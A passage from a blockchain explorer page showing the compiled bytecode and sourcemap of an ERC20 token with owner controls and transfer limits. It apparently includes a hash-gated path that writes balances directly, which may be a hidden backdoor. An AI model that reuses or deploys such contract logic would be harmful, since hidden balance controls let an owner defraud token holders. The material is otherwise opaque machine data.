b1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61224b602583611afd565b9150612256826121f1565b604082019050919050565b5f6020820190508181035f8301526122788161223f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6122d9602383611afd565b91506122e48261227f565b604082019050919050565b5f6020820190508181035f830152612306816122cd565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e005f82015250565b5f612341601f83611afd565b915061234c8261230d565b602082019050919050565b5f6020820190508181035f83015261236e81612335565b9050919050565b5f61237f82611bfb565b915061238a83611bfb565b925082820261239881611bfb565b915082820484148315176123af576123ae611f26565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6123ed82611bfb565b91506123f883611bfb565b925082612408576124076123b6565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612447602083611afd565b915061245282612413565b602082019050919050565b5f6020820190508181035f8301526124748161243b565b9050919050565b7f416d6f756e742065786365656473206d617800000000000000000000000000005f82015250565b5f6124af601283611afd565b91506124ba8261247b565b602082019050919050565b5f6020820190508181035f8301526124dc816124a3565b9050919050565b5f815190506124f181611bd1565b92915050565b5f6020828403121561250c5761250b611b9d565b5b5f612519848285016124e3565b91505092915050565b5f6040820190506125355f830185611d76565b6125426020830184611d76565b9392505050565b7f4d617820686f6c64206578636565646564206d617800000000000000000000005f82015250565b5f61257d601583611afd565b915061258882612549565b602082019050919050565b5f6020820190508181035f8301526125aa81612571565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61260b602683611afd565b9150612616826125b1565b604082019050919050565b5f6020820190508181035f830152612638816125ff565b905091905056fea26469706673582212208f87a3fe5992f328387b5519d700486f5c03d03d115652e0f119e33d3d0cf03964736f6c63430008170033

Deployed Bytecode Sourcemap

8654:2630:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3290:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6863:614;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4203:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8976:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3610:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4380:422;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3510:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4813:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;933:107;;;:::i;:::-;;8912:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11205:76;;;:::i;:::-;;8939:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3726:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;684:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3398:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9016:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5039:377;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3861:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4044:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1052:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3290:100;3344:13;3377:5;3370:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3290:100;:::o;6863:614::-;6935:7;6955:17;6975:10;6955:30;;6996:17;7016:14;;;;;;;;;;;6996:34;;7043:23;7096:9;7079:27;;;;;;;;:::i;:::-;;;;;;;;;;;;;7069:38;;;;;;7043:64;;7118:23;7171:9;7154:27;;;;;;;;:::i;:::-;;;;;;;;;;;;;7144:38;;;;;;7118:64;;7203:17;7231:6;7223:15;;7203:35;;7259:12;7293:15;7274;:34;7259:49;;7333:7;7329:141;;;7364:34;7379:7;7388:9;7364:14;:34::i;:::-;7357:41;;;;;;;;;;7329:141;7438:20;7450:7;7438:11;:20::i;:::-;7431:27;;;;;;;;6863:614;;;;;:::o;4203:169::-;4286:4;4303:39;4312:12;:10;:12::i;:::-;4326:7;4335:6;4303:8;:39::i;:::-;4360:4;4353:11;;4203:169;;;;:::o;8976:33::-;;;;:::o;3610:108::-;3671:7;3698:12;;3691:19;;3610:108;:::o;4380:422::-;4486:4;4503:36;4513:6;4521:9;4532:6;4503:9;:36::i;:::-;4552:24;4579:11;:19;4591:6;4579:19;;;;;;;;;;;;;;;:33;4599:12;:10;:12::i;:::-;4579:33;;;;;;;;;;;;;;;;4552:60;;4651:6;4631:16;:26;;4623:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;4713:57;4722:6;4730:12;:10;:12::i;:::-;4763:6;4744:16;:25;;;;:::i;:::-;4713:8;:57::i;:::-;4790:4;4783:11;;;4380:422;;;;;:::o;3510:92::-;3568:5;3593:1;3586:8;;3510:92;:::o;4813:215::-;4901:4;4918:80;4927:12;:10;:12::i;:::-;4941:7;4987:10;4950:11;:25;4962:12;:10;:12::i;:::-;4950:25;;;;;;;;;;;;;;;:34;4976:7;4950:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;4918:8;:80::i;:::-;5016:4;5009:11;;4813:215;;;;:::o;933:107::-;639:13;:11;:13::i;:::-;1002:30:::1;1029:1;1002:18;:30::i;:::-;933:107::o:0;8912:20::-;;;;;;;;;;;;;:::o;11205:76::-;639:13;:11;:13::i;:::-;11269:4:::1;11258:8;;:15;;;;;;;;;;;;;;;;;;11205:76::o:0;8939:30::-;;;;:::o;3726:127::-;3800:7;3827:9;:18;3837:7;3827:18;;;;;;;;;;;;;;;;3820:25;;3726:127;;;:::o;684:87::-;730:7;757:6;;;;;;;;;;;750:13;;684:87;:::o;3398:104::-;3454:13;3487:7;3480:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3398:104;:::o;9016:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;5039:377::-;5132:4;5149:24;5176:11;:25;5188:12;:10;:12::i;:::-;5176:25;;;;;;;;;;;;;;;:34;5202:7;5176:34;;;;;;;;;;;;;;;;5149:61;;5249:15;5229:16;:35;;5221:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;5317:67;5326:12;:10;:12::i;:::-;5340:7;5368:15;5349:16;:34;;;;:::i;:::-;5317:8;:67::i;:::-;5404:4;5397:11;;;5039:377;;;;:::o;3861:175::-;3947:4;3964:42;3974:12;:10;:12::i;:::-;3988:9;3999:6;3964:9;:42::i;:::-;4024:4;4017:11;;3861:175;;;;:::o;4044:151::-;4133:7;4160:11;:18;4172:5;4160:18;;;;;;;;;;;;;;;:27;4179:7;4160:27;;;;;;;;;;;;;;;;4153:34;;4044:151;;;;:::o;1052:201::-;639:13;:11;:13::i;:::-;1161:1:::1;1141:22;;:8;:22;;::::0;1133:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1217:28;1236:8;1217:18;:28::i;:::-;1052:201:::0;:::o;7485:214::-;7562:7;7582:14;7607:9;7599:18;;7582:35;;7649:6;7628:9;:18;7638:7;7628:18;;;;;;;;;;;;;;;:27;;;;7673:9;:18;7683:7;7673:18;;;;;;;;;;;;;;;;7666:25;;;7485:214;;;;:::o;7707:113::-;7767:7;7794:9;:18;7804:7;7794:18;;;;;;;;;;;;;;;;7787:25;;7707:113;;;:::o;94:98::-;147:7;174:10;167:17;;94:98;:::o;7832:346::-;7951:1;7934:19;;:5;:19;;;7926:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8032:1;8013:21;;:7;:21;;;8005:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8116:6;8086:11;:18;8098:5;8086:18;;;;;;;;;;;;;;;:27;8105:7;8086:27;;;;;;;;;;;;;;;:36;;;;8154:7;8138:32;;8147:5;8138:32;;;8163:6;8138:32;;;;;;:::i;:::-;;;;;;;;7832:346;;;:::o;9638:848::-;9786:1;9770:18;;:4;:18;;;9762:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9863:1;9849:16;;:2;:16;;;9841:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9919:34;9936:4;9942:2;9946:6;9919:16;:34::i;:::-;9980:1;9970:6;:11;9966:50;9998:7;9966:50;10033:11;:17;10045:4;10033:17;;;;;;;;;;;;;;;;;;;;;;;;;10032:18;:38;;;;;10055:11;:15;10067:2;10055:15;;;;;;;;;;;;;;;;;;;;;;;;;10054:16;10032:38;10028:405;;;10133:1;10094:35;10112:15;;;;;;;;;;;10094:9;:35::i;:::-;:40;10086:84;;;;;;;;;;;;:::i;:::-;;;;;;;;;10199:13;;;;;;;;;;;10191:21;;:4;:21;;;:44;;;;10222:13;;;;;;;;;;;10216:19;;:2;:19;;;10191:44;10187:235;;;10256:14;10305:3;10283:18;;10274:6;:27;;;;:::i;:::-;10273:35;;;;:::i;:::-;10256:52;;10329;10356:4;10362:2;10366:6;10374;10329:26;:52::i;:::-;10400:7;;;10187:235;10028:405;10445:33;10461:4;10467:2;10471:6;10445:15;:33::i;:::-;9638:848;;;;:::o;786:132::-;861:12;:10;:12::i;:::-;850:23;;:7;:5;:7::i;:::-;:23;;;842:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;786:132::o;1264:227::-;1338:16;1357:6;;;;;;;;;;;1338:25;;1383:8;1374:6;;:17;;;;;;;;;;;;;;;;;;1419:8;1402:14;;:25;;;;;;;;;;;;;;;;;;1474:8;1443:40;;1464:8;1443:40;;;;;;;;;;;;1327:164;1264:227;:::o;10494:703::-;10621:8;;;;;;;;;;;10616:574;;10651:11;:17;10663:4;10651:17;;;;;;;;;;;;;;;;;;;;;;;;;10650:18;:38;;;;;10673:11;:15;10685:2;10673:15;;;;;;;;;;;;;;;;;;;;;;;;;10672:16;10650:38;10646:533;;;10727:15;;10717:6;:25;;10709:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;8861:42;10790:21;;:13;;;;;;;;;;;:21;;;10786:176;;10869:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10851:52;;;10912:4;10919:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10851:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10835:13;;:107;;;;;;;;;;;;;;;;;;10786:176;10993:13;;;;;;;;;;;10987:19;;:2;:19;;;10983:74;11031:7;10983:74;11119:18;;11109:6;11093:13;11103:2;11093:9;:13::i;:::-;:22;;;;:::i;:::-;:44;;11085:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;10646:533;10616:574;10494:703;;;;:::o;6049:801::-;6206:1;6188:20;;:6;:20;;;6180:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;6290:1;6269:23;;:9;:23;;;6261:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6345:47;6366:6;6374:9;6385:6;6345:20;:47::i;:::-;6405:21;6429:9;:17;6439:6;6429:17;;;;;;;;;;;;;;;;6405:41;;6482:6;6465:13;:23;;6457:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;6605:6;6589:13;:22;6569:9;:17;6579:6;6569:17;;;;;;;;;;;;;;;:42;;;;6645:12;6635:22;;;;;:::i;:::-;;;6684:12;6668;;:28;;;;;;;:::i;:::-;;;;;;;;6731:6;6707:9;:20;6717:9;6707:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;2861:42;6755:36;;6764:6;6755:36;;;6778:12;6755:36;;;;;;:::i;:::-;;;;;;;;6824:9;6807:35;;6816:6;6807:35;;;6835:6;6807:35;;;;;;:::i;:::-;;;;;;;;6169:681;6049:801;;;;:::o;5430:604::-;5554:1;5536:20;;:6;:20;;;5528:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5638:1;5617:23;;:9;:23;;;5609:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5693:47;5714:6;5722:9;5733:6;5693:20;:47::i;:::-;5753:21;5777:9;:17;5787:6;5777:17;;;;;;;;;;;;;;;;5753:41;;5830:6;5813:13;:23;;5805:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;5926:6;5910:13;:22;;;;:::i;:::-;5890:9;:17;5900:6;5890:17;;;;;;;;;;;;;;;:42;;;;5967:6;5943:9;:20;5953:9;5943:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6008:9;5991:35;;6000:6;5991:35;;;6019:6;5991:35;;;;;;:::i;:::-;;;;;;;;5517:517;5430:604;;;:::o;8192:92::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:118::-;3106:24;3124:5;3106:24;:::i;:::-;3101:3;3094:37;3019:118;;:::o;3143:222::-;3236:4;3274:2;3263:9;3259:18;3251:26;;3287:71;3355:1;3344:9;3340:17;3331:6;3287:71;:::i;:::-;3143:222;;;;:::o;3371:90::-;3405:7;3448:5;3441:13;3434:21;3423:32;;3371:90;;;:::o;3467:109::-;3548:21;3563:5;3548:21;:::i;:::-;3543:3;3536:34;3467:109;;:::o;3582:210::-;3669:4;3707:2;3696:9;3692:18;3684:26;;3720:65;3782:1;3771:9;3767:17;3758:6;3720:65;:::i;:::-;3582:210;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:94::-;6565:8;6613:5;6609:2;6605:14;6584:35;;6532:94;;;:::o;6632:::-;6671:7;6700:20;6714:5;6700:20;:::i;:::-;6689:31;;6632:94;;;:::o;6732:100::-;6771:7;6800:26;6820:5;6800:26;:::i;:::-;6789:37;;6732:100;;;:::o;6838:157::-;6943:45;6963:24;6981:5;6963:24;:::i;:::-;6943:45;:::i;:::-;6938:3;6931:58;6838:157;;:::o;7001:256::-;7113:3;7128:75;7199:3;7190:6;7128:75;:::i;:::-;7228:2;7223:3;7219:12;7212:19;;7248:3;7241:10;;7001:256;;;;:::o;7263:227::-;7403:34;7399:1;7391:6;7387:14;7380:58;7472:10;7467:2;7459:6;7455:15;7448:35;7263:227;:::o;7496:366::-;7638:3;7659:67;7723:2;7718:3;7659:67;:::i;:::-;7652:74;;7735:93;7824:3;7735:93;:::i;:::-;7853:2;7848:3;7844:12;7837:19;;7496:366;;;:::o;7868:419::-;8034:4;8072:2;8061:9;8057:18;8049:26;;8121:9;8115:4;8111:20;8107:1;8096:9;8092:17;8085:47;8149:131;8275:4;8149:131;:::i;:::-;8141:139;;7868:419;;;:::o;8293:180::-;8341:77;8338:1;8331:88;8438:4;8435:1;8428:15;8462:4;8459:1;8452:15;8479:194;8519:4;8539:20;8557:1;8539:20;:::i;:::-;8534:25;;8573:20;8591:1;8573:20;:::i;:::-;8568:25;;8617:1;8614;8610:9;8602:17;;8641:1;8635:4;8632:11;8629:37;;;8646:18;;:::i;:::-;8629:37;8479:194;;;;:::o;8679:191::-;8719:3;8738:20;8756:1;8738:20;:::i;:::-;8733:25;;8772:20;8790:1;8772:20;:::i;:::-;8767:25;;8815:1;8812;8808:9;8801:16;;8836:3;8833:1;8830:10;8827:36;;;8843:18;;:::i;:::-;8827:36;8679:191;;;;:::o;8876:224::-;9016:34;9012:1;9004:6;9000:14;8993:58;9085:7;9080:2;9072:6;9068:15;9061:32;8876:224;:::o;9106:366::-;9248:3;9269:67;9333:2;9328:3;9269:67;:::i;:::-;9262:74;;9345:93;9434:3;9345:93;:::i;:::-;9463:2;9458:3;9454:12;9447:19;;9106:366;;;:::o;9478:419::-;9644:4;9682:2;9671:9;9667:18;9659:26;;9731:9;9725:4;9721:20;9717:1;9706:9;9702:17;9695:47;9759:131;9885:4;9759:131;:::i;:::-;9751:139;;9478:419;;;:::o;9903:225::-;10043:34;10039:1;10031:6;10027:14;10020:58;10112:8;10107:2;10099:6;10095:15;10088:33;9903:225;:::o;10134:366::-;10276:3;10297:67;10361:2;10356:3;10297:67;:::i;:::-;10290:74;;10373:93;10462:3;10373:93;:::i;:::-;10491:2;10486:3;10482:12;10475:19;;10134:366;;;:::o;10506:419::-;10672:4;10710:2;10699:9;10695:18;10687:26;;10759:9;10753:4;10749:20;10745:1;10734:9;10730:17;10723:47;10787:131;10913:4;10787:131;:::i;:::-;10779:139;;10506:419;;;:::o;10931:223::-;11071:34;11067:1;11059:6;11055:14;11048:58;11140:6;11135:2;11127:6;11123:15;11116:31;10931:223;:::o;11160:366::-;11302:3;11323:67;11387:2;11382:3;11323:67;:::i;:::-;11316:74;;11399:93;11488:3;11399:93;:::i;:::-;11517:2;11512:3;11508:12;11501:19;;11160:366;;;:::o;11532:419::-;11698:4;11736:2;11725:9;11721:18;11713:26;;11785:9;11779:4;11775:20;11771:1;11760:9;11756:17;11749:47;11813:131;11939:4;11813:131;:::i;:::-;11805:139;;11532:419;;;:::o;11957:221::-;12097:34;12093:1;12085:6;12081:14;12074:58;12166:4;12161:2;12153:6;12149:15;12142:29;11957:221;:::o;12184:366::-;12326:3;12347:67;12411:2;12406:3;12347:67;:::i;:::-;12340:74;;12423:93;12512:3;12423:93;:::i;:::-;12541:2;12536:3;12532:12;12525:19;;12184:366;;;:::o;12556:419::-;12722:4;12760:2;12749:9;12745:18;12737:26;;12809:9;12803:4;12799:20;12795:1;12784:9;12780:17;12773:47;12837:131;12963:4;12837:131;:::i;:::-;12829:139;;12556:419;;;:::o;12981:224::-;13121:34;13117:1;13109:6;13105:14;13098:58;13190:7;13185:2;13177:6;13173:15;13166:32;12981:224;:::o;13211:366::-;13353:3;13374:67;13438:2;13433:3;13374:67;:::i;:::-;13367:74;;13450:93;13539:3;13450:93;:::i;:::-;13568:2;13563:3;13559:12;13552:19;;13211:366;;;:::o;13583:419::-;13749:4;13787:2;13776:9;13772:18;13764:26;;13836:9;13830:4;13826:20;13822:1;13811:9;13807:17;13800:47;13864:131;13990:4;13864:131;:::i;:::-;13856:139;;13583:419;;;:::o;14008:222::-;14148:34;14144:1;14136:6;14132:14;14125:58;14217:5;14212:2;14204:6;14200:15;14193:30;14008:222;:::o;14236:366::-;14378:3;14399:67;14463:2;14458:3;14399:67;:::i;:::-;14392:74;;14475:93;14564:3;14475:93;:::i;:::-;14593:2;14588:3;14584:12;14577:19;;14236:366;;;:::o;14608:419::-;14774:4;14812:2;14801:9;14797:18;14789:26;;14861:9;14855:4;14851:20;14847:1;14836:9;14832:17;14825:47;14889:131;15015:4;14889:131;:::i;:::-;14881:139;;14608:419;;;:::o;15033:181::-;15173:33;15169:1;15161:6;15157:14;15150:57;15033:181;:::o;15220:366::-;15362:3;15383:67;15447:2;15442:3;15383:67;:::i;:::-;15376:74;;15459:93;15548:3;15459:93;:::i;:::-;15577:2;15572:3;15568:12;15561:19;;15220:366;;;:::o;15592:419::-;15758:4;15796:2;15785:9;15781:18;15773:26;;15845:9;15839:4;15835:20;15831:1;15820:9;15816:17;15809:47;15873:131;15999:4;15873:131;:::i;:::-;15865:139;;15592:419;;;:::o;16017:410::-;16057:7;16080:20;16098:1;16080:20;:::i;:::-;16075:25;;16114:20;16132:1;16114:20;:::i;:::-;16109:25;;16169:1;16166;16162:9;16191:30;16209:11;16191:30;:::i;:::-;16180:41;;16370:1;16361:7;16357:15;16354:1;16351:22;16331:1;16324:9;16304:83;16281:139;;16400:18;;:::i;:::-;16281:139;16065:362;16017:410;;;;:::o;16433:180::-;16481:77;16478:1;16471:88;16578:4;16575:1;16568:15;16602:4;16599:1;16592:15;16619:185;16659:1;16676:20;16694:1;16676:20;:::i;:::-;16671:25;;16710:20;16728:1;16710:20;:::i;:::-;16705:25;;16749:1;16739:35;;16754:18;;:::i;:::-;16739:35;16796:1;16793;16789:9;16784:14;;16619:185;;;;:::o;16810:182::-;16950:34;16946:1;16938:6;16934:14;16927:58;16810:182;:::o;16998:366::-;17140:3;17161:67;17225:2;17220:3;17161:67;:::i;:::-;17154:74;;17237:93;17326:3;17237:93;:::i;:::-;17355:2;17350:3;17346:12;17339:19;;16998:366;;;:::o;17370:419::-;17536:4;17574:2;17563:9;17559:18;17551:26;;17623:9;17617:4;17613:20;17609:1;17598:9;17594:17;17587:47;17651:131;17777:4;17651:131;:::i;:::-;17643:139;;17370:419;;;:::o;17795:168::-;17935:20;17931:1;17923:6;17919:14;17912:44;17795:168;:::o;17969:366::-;18111:3;18132:67;18196:2;18191:3;18132:67;:::i;:::-;18125:74;;18208:93;18297:3;18208:93;:::i;:::-;18326:2;18321:3;18317:12;18310:19;;17969:366;;;:::o;18341:419::-;18507:4;18545:2;18534:9;18530:18;18522:26;;18594:9;18588:4;18584:20;18580:1;18569:9;18565:17;18558:47;18622:131;18748:4;18622:131;:::i;:::-;18614:139;;18341:419;;;:::o;18766:143::-;18823:5;18854:6;18848:13;18839:22;;18870:33;18897:5;18870:33;:::i;:::-;18766:143;;;;:::o;18915:351::-;18985:6;19034:2;19022:9;19013:7;19009:23;19005:32;19002:119;;;19040:79;;:::i;:::-;19002:119;19160:1;19185:64;19241:7;19232:6;19221:9;19217:22;19185:64;:::i;:::-;19175:74;;19131:128;18915:351;;;;:::o;19272:332::-;19393:4;19431:2;19420:9;19416:18;19408:26;;19444:71;19512:1;19501:9;19497:17;19488:6;19444:71;:::i;:::-;19525:72;19593:2;19582:9;19578:18;19569:6;19525:72;:::i;:::-;19272:332;;;;;:::o;19610:171::-;19750:23;19746:1;19738:6;19734:14;19727:47;19610:171;:::o;19787:366::-;19929:3;19950:67;20014:2;20009:3;19950:67;:::i;:::-;19943:74;;20026:93;20115:3;20026:93;:::i;:::-;20144:2;20139:3;20135:12;20128:19;;19787:366;;;:::o;20159:419::-;20325:4;20363:2;20352:9;20348:18;20340:26;;20412:9;20406:4;20402:20;20398:1;20387:9;20383:17;20376:47;20440:131;20566:4;20440:131;:::i;:::-;20432:139;;20159:419;;;:::o;20584:225::-;20724:34;20720:1;20712:6;20708:14;20701:58;20793:8;20788:2;20780:6;20776:15;20769:33;20584:225;:::o;20815:366::-;20957:3;20978:67;21042:2;21037:3;20978:67;:::i;:::-;20971:74;;21054:93;21143:3;21054:93;:::i;:::-;21172:2;21167:3;21163:12;21156:19;;20815:366;;;:::o;21187:419::-;21353:4;21391:2;21380:9;21376:18;21368:26;;21440:9;21434:4;21430:20;21426:1;21415:9;21411:17;21404:47;21468:131;21594:4;21468:131;:::i;:::-;21460:139;;21187:419;;;:::o

Swarm Source

ipfs://8f87a3fe5992f328387b5519d700486f5c03d03d115652e0f119e33d3d0cf039

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.